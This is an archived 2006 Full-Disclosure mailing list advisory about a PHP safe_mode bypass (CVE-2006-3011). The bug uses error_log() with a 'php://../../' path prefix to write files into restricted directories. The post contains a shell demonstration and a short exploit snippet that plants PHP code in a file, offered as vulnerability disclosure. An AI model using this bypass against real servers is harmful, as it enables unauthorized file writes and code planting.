full-disclosure - error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <000001c699cd$faeb0710$6f00fea9@xxx>
Date: Tue Jun 27 10:42:07 2006
From: dani at nmd-labs.net (dani)
Subject: error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2

Source: http://securityreason.com/achievement_securityalert/41

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2]

Author: Maksymilian Arciemowicz (cXIb8O3) Date:
- -Written: 10.6.2006
- -Public: 26.06.2006
from SECURITYREASON.COM
CVE-2006-3011

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and Perl with a couple of unique PHP-specific
features thrown in. The goal of the language is to allow web developers
to write dynamically generated pages quickly.

A nice introduction to PHP by Stig S?ther Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much
of the PHP Conference Material is freely available. error_log -- Send an
error message somewhere.

- --- 1. error_log() Safe Mode Bypass --- error_log() function send to
email, file or display your error message. You can send error messages
per mail or write into files. Issue is very simple. error_log() check
safe_mode and open_basedir in stream function. But isn't allowed use
URL. And problem exists in incorrect filename.

PHP5:
- -2013-2050---
PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char
*headers TSRMLS_DC)
{
	php_stream *stream = NULL;

	switch (opt_err) {

		case 1:		/*send an email */
			{
#if HAVE_SENDMAIL
				if (!php_mail(opt, "PHP error_log
message", message, headers, NULL TSRMLS_CC)) {
return FAILURE;
				}
#else
				php_error_docref(NULL TSRMLS_CC,
E_WARNING, "Mail option not available!");
return FAILURE;
#endif
			}
			break;

		case 2:		/*send to an address */
			php_error_docref(NULL TSRMLS_CC, E_WARNING,
"TCP/IP option not available!"); 			return FAILURE;
			break;

		case 3:		/*save to a file */
			stream = php_stream_open_wrapper(opt, "a",
IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
if (!stream)
				return FAILURE;
			php_stream_write(stream, message,
strlen(message)); 			php_stream_close(stream);
			break;

		default:
			php_log_err(message TSRMLS_CC);
			break;
	}
	return SUCCESS;
}
- -2013-2050---

Let's see to option 3.

- -2038 line---
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL |
ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
- -2038 line---

Option "a", writte to file error or if file dosen't exists, create new
file. Problem is because in php_stream_open_wrapper(), is defined
"IGNORE_URL". IGNORE_URL turn off safe_mode if you use
"prefix://../../".

- -Example---
cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "/www/temp/sr.php");'

Warning: error_log(): SAFE MODE Restriction in effect.  The script whose
uid is 0 is not allowed to access /www/temp owned by uid 80 in Command
line code on line 1

Warning: error_log(/www/temp/sr.php): failed to open stream: Invalid
argument in Command line code on line 1 cxib# php -r 'error_log("<? echo
\"cx\"; ?>", 3, "php://../../www/temp/sr.php");' cxib# ls -la
/www/temp/sr.php
- -rw-r--r--  1 cxib  www  16 Jun 11 17:47 /www/temp/sr.php cxib# 
- -Example---

- --- 2. Exploit ---
<?php
$file=""; # FILENAME
error_log("<? echo \"cx\"; ?>", 3, "php://../../".$file);
?>


- --- 3. How to fix ---
No response from PHP Team. We have reported this bug in 11.06.2006

- --- 4. Greets ---

For: sp3x
and
p_e_a, l3x, pi3, eax, Infospec, gKPc8O3

- --- 5. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (FreeBSD)

iD8DBQFEnwdh3Ke13X/fTO4RAv1eAJ9Gux0j+TtpuvsLMhGRu+b0B86DJQCfR4ps
qXoX8VYnwFBa2VmK3zlxpGs=
=VAkg
-----END PGP SIGNATURE-----

_______________________________________________ Full-Disclosure - We
believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted
and sponsored by Secunia - http://secunia.com/